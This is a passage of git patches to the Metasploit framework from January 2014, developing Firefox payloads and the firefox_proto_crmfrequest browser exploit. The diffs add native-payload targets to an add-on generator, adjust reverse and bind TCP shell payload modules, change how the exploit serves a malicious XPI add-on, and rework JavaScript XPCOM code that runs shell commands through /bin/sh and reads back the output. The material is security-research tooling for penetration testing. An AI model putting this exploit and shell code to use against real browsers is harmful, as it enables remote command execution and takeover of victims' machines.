}).join("").trim(); - } catch (e) { return ""; } - }; + #{read_file_source} + #{run_cmd_source} pump.asyncRead(listener, null); })(); From 9b39ea55eec0f686aa40b2479a182dca04f0b992 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 02:22:16 -0600 Subject: [PATCH 04/24] Fix comment.{ --- lib/msf/core/module/platform.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index af8bc8b450..ad2131a6ec 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -518,7 +518,7 @@ class Msf::Module::Platform end # - # Node.js + # Firefox # class Firefox < Msf::Module::Platform Rank = 100 From 8d3130b19e26d9ca8abb33c625dd69d5a3910d87 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 02:23:38 -0600 Subject: [PATCH 05/24] Reorder targets. --- .../exploit/remote/firefox_addon_generator.rb | 20 ++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/firefox_addon_generator.rb b/lib/msf/core/exploit/remote/firefox_addon_generator.rb index fc226c2245..194b20fb02 100644 --- a/lib/msf/core/exploit/remote/firefox_addon_generator.rb +++ b/lib/msf/core/exploit/remote/firefox_addon_generator.rb @@ -23,7 +23,7 @@ module Exploit::Remote::FirefoxAddonGenerator [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', - 'Arch' => 'firefox' + 'Arch' => ARCH_FIREFOX } ], [ 'Java Payload', @@ -38,12 +38,24 @@ module Exploit::Remote::FirefoxAddonGenerator 'Arch' => ARCH_X86 } ], + [ 'Windows x64 (Native Payload)', + { + 'Platform' => 'windows', + 'Arch' => ARCH_X64 + } + ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], + [ 'Linux x64 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X64 + } + ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', @@ -55,6 +67,12 @@ module Exploit::Remote::FirefoxAddonGenerator 'Platform' => 'osx', 'Arch' => ARCH_X86 } + ], + [ 'Mac OS X x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X64 + } ] ], 'DefaultTarget' => 0 From 12fece3aa602c849b4de16218ee9a57b988cc436 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 10:19:49 -0600 Subject: [PATCH 06/24] Kill unnecessary comment. --- modules/payloads/singles/firefox/shell_bind_tcp.rb | 4 ---- modules/payloads/singles/firefox/shell_reverse_tcp.rb | 5 +---- 2 files changed, 1 insertion(+), 8 deletions(-) diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index d3dc07316d..278531ea46 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -3,10 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# It would be better to have a commonjs payload, but because the implementations -# differ so greatly when it comes to require() paths for net modules, we will -# settle for just getting shells on nodejs. - require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/firefox' diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 9cca4e226b..ef9ed5785a 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -3,12 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# It would be better to have a commonjs payload, but because the implementations -# differ so greatly when it comes to require() paths for net modules, we will -# settle for just getting shells on nodejs. - require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/firefox' require 'msf/base/sessions/command_shell' module Metasploit3 From 1b0e99b4486eee4a05c3a637dc53b2cd2b820351 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 10:46:57 -0600 Subject: [PATCH 07/24] Update proto_crmfrequest module. --- modules/exploits/multi/browser/firefox_proto_crmfrequest.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 234e87b0f0..44cc50957e 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Exploit::EXE include Msf::Exploit::Remote::FirefoxAddonGenerator def initialize(info = {}) @@ -57,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_exploit(cli, request, target_info) if request.uri.match(/\.xpi$/i) print_status("Sending the malicious addon") - send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' }) + send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' }) else print_status("Sending HTML") send_response_html(cli, generate_html(target_info)) From 06fb2139b05538eda66f13aebaddc8c381bcb050 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 14:05:06 -0600 Subject: [PATCH 08/24] Digging around to get shell_command_token to work. --- lib/msf/core/payload/firefox.rb | 12 +++++++----- .../multi/browser/firefox_proto_crmfrequest.rb | 2 +- .../payloads/singles/firefox/shell_reverse_tcp.rb | 1 - 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb index ba22ba35a7..a1b5237e10 100644 --- a/lib/msf/core/payload/firefox.rb +++ b/lib/msf/core/payload/firefox.rb @@ -3,7 +3,7 @@ require 'msf/core' module Msf::Payload::Firefox def read_file_source - %q| + %Q| var readFile = function(path) { try { var file = Components.classes["@mozilla.org/file/local;1"] @@ -23,16 +23,17 @@ module Msf::Payload::Firefox fileStream.close(); file.remove(true); - return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("").trim(); - } catch (e) { return ["",""]; } + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); + } catch (e) { return ""; } }; | end def run_cmd_source - %q| + %Q| var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var _cmd; var runCmd = function(cmd) { var shPath = "/bin/sh"; var shFlag = "-c"; @@ -61,7 +62,8 @@ module Msf::Payload::Firefox .createInstance(Components.interfaces.nsILocalFile); sh.initWithPath(shPath); - var shell = shPath + " " + shFlag + " " + (cmd + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc); + var shell = shPath + " " + shFlag + " " + cmd.replace(/\\W/g, shEsc); + shell = shPath + " " + shFlag + " " + (shell + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 44cc50957e..d6e949b9c5 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote #{datastore['CONTENT']}